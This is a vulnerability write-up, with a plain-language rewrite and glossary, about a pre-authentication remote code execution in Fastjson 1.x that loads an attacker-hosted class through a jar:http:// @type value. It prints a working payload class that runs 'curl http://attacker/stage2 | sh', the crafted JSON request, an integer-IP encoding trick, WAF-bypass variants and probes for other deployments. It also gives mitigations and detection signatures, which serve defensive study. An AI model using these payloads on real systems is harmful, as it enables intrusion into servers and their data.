CVE-2026–16723: Pre-Auth RCE in Fastjson 1.x via the [@JSONType](http://twitter.com/JSONType) Trust Branch
Fastjson 1.x's checkAutoType() fetches class bytes via the JVM class loader for any @type value, and a URLClassLoader (such as Spring Boot's) will resolve a jar:http:// URL, downloading an attacker-hosted class whose static initialiser then runs. An attacker who can send JSON to an endpoint calling JSON.parseObject() could achieve remote code execution without AutoType enabled or any known gadget class.
Published on medium.com
JavaScript
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Fastjson 1.x is a Java JSON library whose @type property lets a caller name the class that a JSON object should be deserialised into. That polymorphic behaviour is the feature, and it is also the reason the library has spent years being hardened against gadget-based deserialisation attacks. ParserConfig.checkAutoType() is the method that decides whether a type name arriving in @type is acceptable.
The bug described here, CVE-2026-16723, is a pre-authentication remote code execution in Fastjson 1.x that fires even with AutoType disabled and with zero known gadget classes: no JdbcRowSetImpl, no FileSystemXmlApplicationContext, nothing on any blacklist. The attacker writes a brand-new class of their own, hosts it remotely, and abuses the exact mechanism Fastjson uses to check whether that class is "safe".

Setup
The write-up is a source-level analysis of Fastjson 1.2.83. The only infrastructure the attacker needs is a web server for the malicious JAR; the report notes that python3 -m http.server is enough and that no TLS is required. The victim side needs an endpoint that calls JSON.parseObject() on the request body; the report's chain relies on a defaultClassLoader that is a URLClassLoader or a subclass of it. Spring Boot's fat-JAR launcher, LaunchedURLClassLoader, is exactly such a subclass and is the default class loader for essentially every java -jar myapp.jar deployment.
No accounts, roles or special tooling are involved. The precondition is the deployment shape, not a privilege level.
Finding it
Fastjson's ParserConfig.checkAutoType() has been hardened repeatedly since CVE-2017-18349: blacklist introduction, an FNV-1a rolling-hash upgrade, the safeMode kill switch, expectClass tightening, and the CVE-2022-25845 fix. By 1.2.83 the method was one of the most heavily audited pieces of code in the Java security world.
Every one of those rounds targeted the same question: is the class name in @type a known dangerous gadget? The @JSONType annotation-trust branch was a different code path entirely, built on the assumption that the developer put the annotation on their own class, so it is trustworthy. Nobody treated it as untrusted-input surface, because on its face it is not reading @type to decide what to instantiate; it is just checking a metadata flag.
The problem is that checking that flag requires fetching the class's bytes, and Fastjson fetches them through the JVM's class loader, which happily resolves jar:http:// URLs.

Exploitation
The chain is six steps, every one of them deterministic: no timing race, no memory corruption, nothing probabilistic.

Step 1: build evil.jar
A trivial class annotated with @JSONType, with a static { } block that calls Runtime.exec(). The attacker's Evil.class in the report is:
public class Evil { static { try { Runtime.getRuntime().exec(new String[]{ "/bin/sh", "-c", "curl http://attacker/stage2 | sh" }); } catch (Exception e) {} }}
The static initialiser is the payload. Nothing else in the class matters.
Step 2: host it over plain HTTP
python3 -m http.server is enough. No TLS is required.
Step 3: encode the attacker's IP as a 32-bit integer
[redacted] becomes 3232235876. The reason is covered under the root cause below: Fastjson rewrites every dot in the type name to a slash, which would corrupt a dotted IP address inside the URL.
Step 4: send the crafted JSON
POST the following to any endpoint that calls JSON.parseObject() on the body:
{"@type":"jar:http://3232235876:8080/evil!/Evil"}
The @type value is not a class name at all. It is a jar: URL whose inner URL points at the attacker's HTTP server, with !/Evil naming the entry inside the JAR.
Step 5: two separate remote fetches
checkAutoType() pulls the class bytes over the network twice: once to inspect them, once to actually load them. The first fetch is the getResourceAsStream() call in the @JSONType detection branch; the second is the real, JVM-level class load in TypeUtils.loadClass(). The attacker only needs the first to succeed in order to get an outbound connection; once @JSONType is detected, the second fires the actual RCE.
Step 6: <clinit> fires automatically
The moment the JVM defines the class, its static initialiser runs and RCE is complete. Nobody instantiates Evil. Nobody calls a method on it. Nobody even uses the returned Class<?> object. Loading the class is the entire attack.
Root cause
The gate flow

The first two gates in checkAutoType() (safeMode and the hash blacklist) are pure name-shape filters. jar:http://3232235876:8080/evil!/Evil does not resemble a Java class name at all, so both gates pass it straight through. The real vulnerability lives in gates 3 and 4.
Gate 3: the @JSONType detection branch
Inside ParserConfig.java in Fastjson 1.2.83, once a type name clears the blacklist it runs through this logic (reconstructed in the report for readability, with the same control flow as the shipped 1.2.83 source):
boolean jsonType = false;InputStream is = null;try { String resource = typeName.replace('.', '/') + ".class"; if (defaultClassLoader != null) { is = defaultClassLoader.getResourceAsStream(resource); } else { is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); } if (is != null) { ClassReader classReader = new ClassReader(is, true); TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); classReader.accept(visitor); jsonType = visitor.hasJsonType(); }} catch (Exception e) { } finally { IOUtils.close(is);}if (autoTypeSupport || jsonType || expectClassFlag) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
getResourceAsStream() sounds like a safe, local-only lookup. But if defaultClassLoader is a URLClassLoader (or any subclass, which is exactly what Spring Boot's fat-JAR loader is), that call will happily resolve a jar:http:// scheme, open a real HTTP connection to the attacker's server, and hand back the downloaded bytes. ASM's ClassReader not executing bytecode is a real safety property, but it only guarantees that the class was not run. It says nothing about whether the class was fetched from an attacker-controlled host.
The report pushes back on early write-ups that describe this as "load happens before the annotation check". That is not quite right. It is a two-stage remote fetch: stage one safely inspects the bytes without executing them, stage two is the real, JVM-level class load. The attacker only needs stage one to succeed in order to get an outbound connection; once @JSONType is detected, stage two fires the actual RCE.
Gate 4: TypeUtils.loadClass() and <clinit>
if (clazz != null) { if (jsonType) { if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); } return clazz; } }
By the time return clazz executes, the attack is already over. Inside TypeUtils.loadClass(), the call to defaultClassLoader.loadClass() and then defineClass() triggers the JVM specification's guarantee that a class's <clinit> (static initialiser) runs exactly once, the moment the class is prepared for use. Nothing in Fastjson can opt out of that; it is a JVM-level contract, not an application-level convention.
Integer-IP encoding: surviving the . to / transform
The typeName.replace('.', '/') in the snippet exists to turn a normal class name like com.example.Foo into the resource path com/example/Foo. Because it is applied to the entire string, any dot anywhere, including inside a dotted IP address, gets rewritten too.
A literal [redacted] would turn into the broken URL jar:http://192/168/1/100:8080/evil!/Evil. So attackers convert the IPv4 address into its 32-bit integer form instead, which contains no dots at all.

The math is straightforward:
(192 << 24) | (168 << 16) | (1 << 8) | 100 = 3232235876
An integer host has no dots, so it passes through Fastjson's replace() untouched, and java.net.URL decodes the integer host back to [redacted] the moment it opens the actual socket. This has been standard JDK behaviour since at least Java 1.4. It is not a JDK bug, just a side channel that happens to defeat Fastjson's string transform.
Why jar:http:// works at all
The jar:<inner-url>!/<entry> URL scheme is a documented, standard JVM feature. When the inner URL is http://, the JVM fetches the JAR remotely and extracts the requested entry, a feature that dates back to Java Web Start and applet-era remote class loading.
Spring Boot's fat-JAR launcher uses LaunchedURLClassLoader, which directly subclasses URLClassLoader. When Fastjson calls defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil"), the standard URLClassLoader machinery:
- Recognises the
jar:protocol. - Extracts the inner URL
http://3232235876:8080/evil. - Opens an HTTP connection to that host.
GETs the JAR.- Locates the
Evil.classentry inside it. - Calls
defineClass(), registering and initialising the class.
Every one of those steps is standard, documented JVM behaviour. Neither Fastjson's design nor Spring Boot's class loader is individually wrong. The defect is that Fastjson passes an attacker-controlled string straight into the class loader without ever asking whether it even looks like a plausible Java class name. A one-line regex whitelist, something like ^[a-zA-Z_$][a-zA-Z0-9_$.]*$, applied before any class-loader call would have closed this entire bug class.
Impact
The report describes a chain in which an attacker who can reach an endpoint that calls JSON.parseObject() on the request body can execute code on the server, provided the deployment uses a URLClassLoader-derived defaultClassLoader such as Spring Boot's LaunchedURLClassLoader. The attacker needs no gadget class on the target's classpath and no AutoType support: the class is supplied by the attacker and loaded from their own HTTP server. The report describes the chain as fully deterministic, with no timing race and no memory corruption.
Fix
There is no patch, so workarounds are the only lever available.
| Option | Effect | Trade-off |
|---|---|---|
Enable safeMode (-Dfastjson.parser.safeMode=true) |
checkAutoType() throws unconditionally at the top of the method, blocking the entire path |
Breaks any legitimate @type-based polymorphic deserialisation |
Switch to the 1.2.83_noneautotype artifact |
AutoType is stripped at compile time | Same functional loss as safeMode |
| Migrate to Fastjson2 | Architecturally closes the bug class | Real migration cost due to API differences |
| Block outbound network access from the JVM | The remote fetch simply fails | Not Fastjson-specific, but generalises to the next bug in this pattern |
safeMode is the only mitigation that is unconditionally effective, because the throw happens at the very top of checkAutoType(), before gates 3 and 4 are ever reached. Blacklisting the literal string jar: at the WAF layer is not equivalent: it is trivially defeated by Jar:, JAR : (with a space), or alternate inner protocols like jar:https:// or jar:ftp://.
Fastjson2 renamed the entry point entirely, to ObjectReaderProvider.autoType(). It checks an allowlist of known types before ever touching the class loader, and rejects anything not on it, so there is no remote-fetch primitive reachable from an untrusted @type value in the first place.
Detection signatures
Wire-level
- Request bodies containing
"@type":"jar:in any casing or protocol variant (jar:http,jar:https,jar:ftp) - An
@typevalue whose "host" segment is a long run of digits followed by:port - An
@typevalue containing a double dot (..), a strong signal of integer-IP encoding
Host-level
- Outbound HTTP
GETrequests for.jaror.classfiles to unexpected destinations Runtime.exec()-spawned child processes with ajava/jreparent- New files appearing in
/tmp(or the platform temp dir) within seconds of an inbound HTTP request
If egress monitoring sees the first fetch (getResourceAsStream) but not the second (loadClass), that is a strong signal of reconnaissance: an attacker confirming the path is reachable without delivering a real payload yet.
- Other
URLClassLoaderdeployments. Send the samejar:http://<integer-ip>:<port>/evil!/Evilbody to any Java service that deserialises with Fastjson 1.x and runs from a fat JAR or otherwise uses aURLClassLoader. A positive result is an outbound HTTPGETfor the JAR from the target host. - Alternate inner protocols. Try
jar:https://,jar:ftp://and other schemes inside thejar:URL. A positive result is any outbound connection to the attacker's host, showing the filter is not scheme-specific. - Casing and whitespace on the scheme. Try
Jar:,JAR :and similar. A positive result is the same fetch, showing a WAF string match onjar:is bypassable. - Integer-IP encoding against other string transforms. Wherever a library rewrites dots in a URL or resource path, substitute the 32-bit integer form of the host. A positive result is a successful connection to the intended host despite the transform.
- Annotation-trust branches in other deserialisers. Look for code paths that fetch class metadata to check an annotation before deciding whether a type is safe. A positive result is a remote fetch triggered by a type name that never resembles a class name.
- Egress-only detection. Watch for the first fetch without the second. A positive result is a single
getResourceAsStream-style request with no subsequent class load, indicating the path is reachable and a real payload would land.
What happened, in plain words
A Java library called Fastjson 1.x has a feature that lets whoever sends it some JSON text say which kind of object the text should be turned into. That feature is called @type. It is useful, and it is also the reason the library has spent years being patched against attacks where an attacker names a dangerous class that already exists on the server.
This report describes a bug, CVE-2026-16723, that gets around all of that. It is described as a pre-authentication remote code execution: an attacker who has not logged in at all can make the server run code of their choosing. It works even when the safety switch called AutoType is turned off, and even when the server has none of the well-known dangerous classes that older attacks relied on. There is no JdbcRowSetImpl, no FileSystemXmlApplicationContext, nothing that appears on any blocklist.
Instead, the attacker writes a brand-new class of their own, puts it on a web server they control, and abuses the exact mechanism Fastjson uses to check whether a class is "safe".

A few words before we go further, because the rest of this article leans on them.
JSON is a plain-text way of writing data as labelled values, like {"name": "Sam", "age": 30}. It is what most web apps send and receive when they talk to a browser or to another program.
Java is a programming language, and a class is a named bundle of code in a Java program. A class can have a static initialiser, written as a static { } block: a piece of code that the Java runtime runs automatically, once, the first time the class is used. Nobody has to call it. It just runs.
Deserialisation is the act of turning text like JSON back into live objects inside a program. Fastjson is a library that does this for Java. When it sees @type, it treats the value as the name of a class and tries to build an object of that class.
Remote code execution (RCE) means an attacker gets their own code running on someone else's machine. It is about as bad as a web bug gets.
Pre-authentication means the attacker does not need an account, a password or a session. They only need to be able to send an HTTP request to the server.
Overview

What makes this one worth a deep dive: it fires even with AutoType disabled and with zero known gadget classes (no JdbcRowSetImpl, no FileSystemXmlApplicationContext, nothing on any blacklist). The attacker simply writes a brand-new class of their own, hosts it remotely, and abuses the exact mechanism Fastjson uses to check whether that class is "safe."
A gadget class is an existing class on the server that, when an attacker names it in @type, ends up doing something dangerous as a side effect. Older Fastjson attacks were built from gadgets, so defenders made lists of the known ones and blocked them. This bug does not need a gadget at all, which is why those lists do not help.
1. The attack chain, end to end
Six steps, every one of them deterministic. No timing race, no memory corruption, nothing probabilistic.

Deterministic means the same input always produces the same result. There is no luck involved and no need to try at the right microsecond, which is what makes an attack like this reliable.
- Build
evil.jar, a trivial class annotated with@JSONType, with astatic { }block that callsRuntime.exec(). - Host it over plain HTTP,
python3 -m http.serveris enough. No TLS required. - Encode the attacker's IP as a 32-bit integer,
[redacted]becomes3232235876. Section 3 explains why. - Send the crafted JSON, POST
{"@type":"jar:http://3232235876:8080/evil!/Evil"}to any endpoint that callsJSON.parseObject()on the body. - Two separate remote fetches,
checkAutoType()pulls the class bytes over the network twice: once to inspect them, once to actually load them. <clinit>fires automatically, the moment the JVM defines the class, its static initializer runs and RCE is complete.
Some of those terms need unpacking.
A JAR is a zip file full of compiled Java classes. It is how Java code is packaged and shipped.
An annotation is a label you attach to a piece of code, like a sticky note that other code can read. @JSONType is a label Fastjson understands.
Runtime.exec() is the Java call that starts another program on the machine, for example a shell command. It is the thing an attacker wants to reach.
An endpoint is a specific address on a web server that accepts requests. When the report says "any endpoint that calls JSON.parseObject() on the body", it means any address where the application takes the JSON text you sent and hands it to Fastjson to turn into objects.
A JVM is the Java Virtual Machine, the program that runs Java code on the server.
<clinit> is the internal name Java gives to a class's static initialiser. When the JVM prepares a class for use, it runs <clinit> once, automatically. That is a rule of the Java platform, not something an application can switch off.
2. Why six rounds of hardening still missed this
Fastjson's ParserConfig.checkAutoType() has been hardened repeatedly since CVE-2017-18349: blacklist introduction → FNV-1a rolling-hash upgrade → safeMode kill switch → expectClass tightening → the CVE-2022-25845 fix. By 1.2.83 this method was one of the most heavily audited pieces of code in the Java security world.
checkAutoType() is the gatekeeper method: every time a type name arrives in @type, this method decides whether to accept it. A blacklist is a list of names that are refused. FNV-1a is a hashing algorithm: it turns a name into a short fingerprint, so the code can compare fingerprints instead of full strings. safeMode is a switch that, when on, makes the gatekeeper refuse everything. expectClass is a parameter of checkAutoType() that names the class the caller expects, so anything else can be rejected.
Every one of those rounds targeted the same thing: is the class name in @type a known dangerous gadget? The @JSONType annotation-trust branch was a different code path entirely, built on the assumption that "the developer put this annotation on their own class, so it's trustworthy." Nobody treated it as untrusted-input surface, because on its face it isn't reading @type to decide what to instantiate, it's just checking a metadata flag.
Untrusted input means any value that comes from outside your program, such as the body of an HTTP request. The safe habit is to treat every such value as potentially hostile. Here, the code that checked the annotation was not written with that habit in mind.
The problem: checking that flag requires fetching the class's bytes, and Fastjson fetches them through the JVM's class loader, which happily resolves jar:http:// URLs.
A class loader is the part of the JVM that finds class files and brings them into memory. It can read them from disk, and, as we will see, from a URL.

The first two gates (safeMode, hash blacklist) are pure name-shape filters. jar:http://3232235876:8080/evil!/Evil doesn't resemble a Java class name at all, so both gates pass it straight through. The real vulnerability lives in gates 3 and 4.
A gate here is just a check in a sequence of checks. A name-shape filter looks only at what the name looks like, not at what it does. A normal Java class name looks like com.example.Foo: letters, dots, no slashes or colons. The string above looks nothing like that, yet the first two gates let it through, because they were built to catch known bad names, not strange shapes.
3. Source-level walkthrough
3.1 Gate 3, the @JSONType detection branch (the actual bug)
Inside ParserConfig.java in Fastjson 1.2.83, once a type name clears the blacklist it runs through this logic (reconstructed here for readability, same control flow as the shipped 1.2.83 source):
boolean jsonType = false;InputStream is = null;try { String resource = typeName.replace('.', '/') + ".class"; if (defaultClassLoader != null) { is = defaultClassLoader.getResourceAsStream(resource); } else { is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); } if (is != null) { ClassReader classReader = new ClassReader(is, true); TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); classReader.accept(visitor); jsonType = visitor.hasJsonType(); }} catch (Exception e) { } finally { IOUtils.close(is);}if (autoTypeSupport || jsonType || expectClassFlag) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
Line by line, in plain words:
boolean jsonType = false;sets up a yes/no flag, starting at "no".InputStream is = null;sets up a variable to hold a stream of bytes, starting empty. An input stream is how Java reads bytes from somewhere, a file or a network connection.String resource = typeName.replace('.', '/') + ".class";takes the name from@typeand turns every dot into a slash, then adds.classon the end. This is meant to turncom.example.Foointo the file pathcom/example/Foo.class. Remember this line; it matters a lot later.if (defaultClassLoader != null)checks whether a class loader has been configured. If it has,is = defaultClassLoader.getResourceAsStream(resource);asks that class loader to open the resource named by the path and give back a stream of its bytes.- The
elsebranch does the same thing with Fastjson's own class loader, for when none was configured. if (is != null)checks that something was actually found.ClassReader classReader = new ClassReader(is, true);hands the bytes to ASM, a library that reads the structure of compiled Java classes. ASM here is only inspecting the file; it is not running it.TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);andclassReader.accept(visitor);walk through the class file looking for a particular thing.jsonType = visitor.hasJsonType();records the answer: does this class carry the@JSONTypeannotation?- The
catchandfinallyblocks swallow any error and close the stream. if (autoTypeSupport || jsonType || expectClassFlag)is the decision: if AutoType is on, or the annotation was found, or an expected class was declared, carry on.clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);is where the class is actually loaded for real.
Point (B) is the actual primitive. getResourceAsStream() sounds like a safe, local-only lookup. But if defaultClassLoader is a URLClassLoader (or any subclass, which is exactly what Spring Boot's fat-JAR loader is), that call will happily resolve a jar:http:// scheme, open a real HTTP connection to the attacker's server, and hand back the downloaded bytes. ASM's ClassReader not executing bytecode is a real safety property, but it only guarantees "we didn't run the class." It says nothing about "we didn't fetch the class from an attacker-controlled host."
A primitive in security writing is the small, reusable capability an attacker gains, the building block the rest of the attack is assembled from. Here the primitive is: make the server open an outbound connection to a host of my choosing.
A URLClassLoader is a class loader that can fetch classes from URLs, not just from local disk. Spring Boot is a very common framework for building Java web applications, and its fat-JAR packaging puts the application and all its libraries into one JAR that you start with java -jar myapp.jar. Its loader is called LaunchedURLClassLoader and it is a subclass of URLClassLoader, so it inherits the ability to fetch from URLs.
A lot of early write-ups describe this as "load happens before the annotation check", that's not quite right. It's a two-stage remote fetch: stage one (B, C) safely inspects the bytes without executing them, stage two (E) is the real, JVM-level class load. The attacker only needs stage one to succeed in order to get an outbound connection; once @JSONType is detected, stage two fires the actual RCE.
3.2 Gate 4, TypeUtils.loadClass() and <clinit>
if (clazz != null) { if (jsonType) { if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); } return clazz; } }
Again, line by line:
if (clazz != null)checks that a class object was produced.if (jsonType)checks that the annotation was found in stage one.if (autoTypeSupport)checks whether AutoType is on; if it is,TypeUtils.addMapping(typeName, clazz);remembers the name-to-class pairing for next time.return clazz;hands the loaded class back to the caller.
By the time return clazz executes, the attack is already over. Inside TypeUtils.loadClass(), the call to defaultClassLoader.loadClass() → defineClass() triggers the JVM specification's guarantee that a class's <clinit> (static initializer) runs exactly once, the moment the class is prepared for use. Nothing in Fastjson can opt out of that, it's a JVM-level contract, not an application-level convention.
defineClass() is the JVM step that takes raw class bytes and turns them into a usable class. The moment that happens, the static initialiser runs. So the damage is done before Fastjson gets its answer back.
The attacker's Evil.class:
public class Evil { static { try { Runtime.getRuntime().exec(new String[]{ "/bin/sh", "-c", "curl http://attacker/stage2 | sh" }); } catch (Exception e) {} }}
What this does, piece by piece:
public class Evil {starts the definition of a class calledEvil.static {opens the static initialiser, the block that runs automatically when the class is first used.Runtime.getRuntime().exec(new String[]{ ... });starts another program. The array of strings is the command and its arguments."/bin/sh", "-c", "curl http://attacker/stage2 | sh"means: run the shell/bin/sh, tell it to execute the command string, which downloads a second file from the attacker's server withcurland pipes it intoshto run it. This is the stage two payload: the first class is tiny, and it fetches the bigger tool.- The
tryandcatcharound it swallow any error so nothing noisy happens. - The closing braces end the block and the class.
Nobody instantiates Evil. Nobody calls a method on it. Nobody even uses the returned Class<?> object. Loading the class is the entire attack.
To instantiate a class is to create an object from it, like new Evil(). The point here is that the attacker never needs that. The mere act of loading the class is enough, because loading runs the static initialiser.
3.3 Integer-IP encoding, surviving the . → / transform
Step (A) above, typeName.replace('.', '/'), exists to turn a normal class name like com.example.Foo into the resource path com/example/Foo. Because it's applied to the entire string, any dot anywhere, including inside a dotted IP address, gets rewritten too.
An IP address is the numeric address of a machine on a network, usually written as four numbers separated by dots, like [redacted]. The replace call does not know or care that the dots are part of an address; it just sees dots.
A literal [redacted] would turn into the broken URL jar:http://192/168/1/100:8080/evil!/Evil. So attackers convert the IPv4 address into its 32-bit integer form instead, which contains no dots at all.

The math is straightforward:
(192 << 24) | (168 << 16) | (1 << 8) | 100 = 3232235876
This is the same address written as one number. Each of the four parts of an IPv4 address is a number from 0 to 255, which fits in 8 bits. Shifting the first part left by 24 bits, the second by 16, the third by 8, and leaving the fourth where it is, then combining them with bitwise OR (|), packs all four into a single 32-bit number. << means shift the bits left; | means combine the bits. The result, 3232235876, is the same machine, written without a single dot.
An integer host has no dots, so it passes through Fastjson's replace() untouched, and java.net.URL decodes the integer host back to [redacted] the moment it opens the actual socket. This has been standard JDK behaviour since at least Java 1.4, it isn't a JDK bug, just a side channel that happens to defeat Fastjson's string transform.
The JDK is the Java Development Kit, the standard set of Java tools and libraries. A socket is the operating-system handle for a network connection. A side channel here means an unintended way of getting information or behaviour past a check, without the check itself being broken.
3.4 Why jar:http:// even works, Spring Boot's LaunchedURLClassLoader
The jar:<inner-url>!/<entry> URL scheme is a documented, standard JVM feature. When the inner URL is http://, the JVM fetches the JAR remotely and extracts the requested entry, a feature that dates back to Java Web Start and applet-era remote class loading.
A URL scheme is the part before the colon that says how to fetch something: http, https, file, and so on. The jar: scheme means "look inside a JAR", and the part after ! names the file inside it. So jar:http://host/evil!/Evil means: fetch http://host/evil over the network, open it as a JAR, and take the entry Evil from inside.
Spring Boot's fat-JAR launcher uses LaunchedURLClassLoader, which directly subclasses URLClassLoader. It's the default class loader for essentially every java -jar myapp.jar deployment. When Fastjson calls defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil"), the standard URLClassLoader machinery:
- Recognizes the
jar:protocol. - Extracts the inner URL
http://3232235876:8080/evil. - Opens an HTTP connection to that host.
GETs the JAR.- Locates the
Evil.classentry inside it. - Calls
defineClass(), registering and initializing the class.
Every single step here is standard, documented JVM behaviour. Neither Fastjson's design nor Spring Boot's class loader is individually "wrong." The actual defect is that Fastjson passes an attacker-controlled string straight into the class loader without ever asking "does this even look like a plausible Java class name?" A one-line regex whitelist, something like ^[a-zA-Z_$][a-zA-Z0-9_$.]*$, applied before any class-loader call would have closed this entire bug class.
A regex (regular expression) is a pattern for matching text. The pattern shown says: the first character must be a letter, underscore or dollar sign, and every following character must be a letter, digit, underscore, dollar sign or dot. A colon or a slash would fail it, so a jar: URL would be rejected before any network call. A whitelist is the opposite of a blacklist: instead of listing what is forbidden, you list what is allowed and refuse everything else.
4. Mitigations
There's no patch, so workarounds are the only lever available.
A mitigation is something that reduces the risk when a proper fix is not available yet.
| Option | Effect | Trade-off |
|---|---|---|
Enable safeMode (-Dfastjson.parser.safeMode=true) |
checkAutoType() throws unconditionally at the top of the method, blocks the entire path |
Breaks any legitimate @type-based polymorphic deserialisation |
Switch to the 1.2.83_noneautotype artifact |
AutoType is stripped at compile time | Same functional loss as safeMode |
| Migrate to Fastjson2 | Architecturally closes the bug class | Real migration cost due to API differences |
| Block outbound network access from the JVM | The remote fetch simply fails | Not Fastjson-specific, but generalizes to the next bug in this pattern |
A few of those need explaining. -Dfastjson.parser.safeMode=true is a Java system property set on the command line when starting the program; it is a way of flipping a setting without changing code. An artifact is a packaged build of a library, the file you actually download and use. Polymorphic deserialisation is the feature that lets @type choose the class; it is what legitimate applications lose if they turn it off. Outbound network access means connections going from your server out to the internet; blocking it means the server cannot fetch the attacker's JAR at all.
safeMode is the only mitigation that's unconditionally effective, because the throw happens at the very top of checkAutoType(), before gates 3 and 4 are ever reached. Blacklisting the literal string jar: at the WAF layer is not equivalent: it's trivially defeated by Jar:, JAR : (with a space), or alternate inner protocols like jar:https:// or jar:ftp://.
A WAF (web application firewall) is a filter that sits in front of a web application and inspects incoming requests, blocking ones that match rules. A rule that matches the exact text jar: is easy to get around, because the same scheme can be written with different capitalisation or spacing, or swapped for a different inner protocol.
Fastjson2 renamed the entry point entirely, to ObjectReaderProvider.autoType(). It checks an allowlist of known types before ever touching the class loader, and rejects anything not on it, so there's no remote-fetch primitive reachable from an untrusted @type value in the first place.
5. Detection signatures
A detection signature is a pattern you can look for in logs or network traffic that suggests an attack is being attempted.
Wire-level
- Request bodies containing
"@type":"jar:in any casing or protocol variant (jar:http,jar:https,jar:ftp) - An
@typevalue whose "host" segment is a long run of digits followed by:port - An
@typevalue containing a double dot (..), a strong signal of integer-IP encoding
Wire-level means looking at the traffic itself, the requests going over the network. The second bullet is the integer-IP trick: a normal hostname has letters, while a long run of digits is what the encoded address looks like. The third bullet is a value containing a double dot (..), which the report calls a strong signal of integer-IP encoding.
Host-level
- Outbound HTTP
GETrequests for.jaror.classfiles to unexpected destinations Runtime.exec()-spawned child processes with ajava/jreparent- New files appearing in
/tmp(or the platform temp dir) within seconds of an inbound HTTP request
Host-level means looking at the server itself rather than the traffic. A child process is a program started by another program; here, a shell started by the Java process is suspicious. /tmp is a temporary directory on Linux where downloaded files often land.
If your egress monitoring sees the first fetch (getResourceAsStream) but not the second (loadClass), that's a strong signal of reconnaissance, an attacker confirming the path is reachable without delivering a real payload yet.
Egress monitoring means watching the connections your server makes outwards. Reconnaissance is the checking phase of an attack, where the attacker confirms something works before committing to the real payload.
Glossary
- Annotation: a label attached to code that other code can read, such as
@JSONType. - Artifact: a packaged build of a library, the file you download and use.
- ASM: a Java library that reads the structure of compiled class files without running them.
- Blacklist: a list of names or values that are refused.
- Child process: a program started by another program.
- Class: a named bundle of code in a Java program.
- Class loader: the part of the JVM that finds class files and brings them into memory, from disk or from a URL.
<clinit>: the internal name for a class's static initialiser, which the JVM runs once when the class is first used.- Deserialisation: turning text such as JSON back into live objects inside a program.
- Deterministic: always producing the same result for the same input, with no luck or timing involved.
defineClass(): the JVM step that turns raw class bytes into a usable class.- Egress monitoring: watching the connections a server makes outwards.
- Endpoint: a specific address on a web server that accepts requests.
- Fat-JAR: a single JAR containing an application and all its libraries, started with
java -jar. - FNV-1a: a hashing algorithm that turns a name into a short fingerprint.
- Gate: one check in a sequence of checks.
- Gadget class: an existing class on a server that does something dangerous when an attacker names it during deserialisation.
- Input stream: how Java reads bytes from a file or a network connection.
- Instantiate: create an object from a class, for example with
new Evil(). - IP address: the numeric address of a machine on a network, usually four dot-separated numbers.
- JAR: a zip file full of compiled Java classes.
- Java: a programming language, and the runtime that executes it.
- JDK: the Java Development Kit, the standard set of Java tools and libraries.
- JSON: a plain-text format for writing data as labelled values.
- JVM: the Java Virtual Machine, the program that runs Java code.
- Mitigation: something that reduces risk when a proper fix is not available.
- Name-shape filter: a check that looks only at what a name looks like, not at what it does.
- Outbound network access: connections going from your server out to the internet.
- Polymorphic deserialisation: the feature that lets a field such as
@typechoose which class is built. - Pre-authentication: reachable without an account, password or session.
- Primitive: the small, reusable capability an attacker gains, used as a building block.
- Reconnaissance: the checking phase of an attack, confirming something works before sending a real payload.
- Regex: a pattern for matching text.
- Remote code execution (RCE): an attacker getting their own code to run on someone else's machine.
- Side channel: an unintended way of getting past a check without the check itself being broken.
- Socket: the operating-system handle for a network connection.
- Spring Boot: a common framework for building Java web applications.
- Static initialiser: a
static { }block that the Java runtime runs automatically, once, when the class is first used. - Untrusted input: any value that comes from outside your program, such as an HTTP request body.
- URL scheme: the part before the colon in a URL that says how to fetch something, such as
httporjar. - URLClassLoader: a class loader that can fetch classes from URLs, not just local disk.
- WAF: a web application firewall, a filter in front of a web application that inspects and blocks requests.
- Whitelist: a list of what is allowed, with everything else refused.
- Wire-level: looking at the network traffic itself rather than at the server.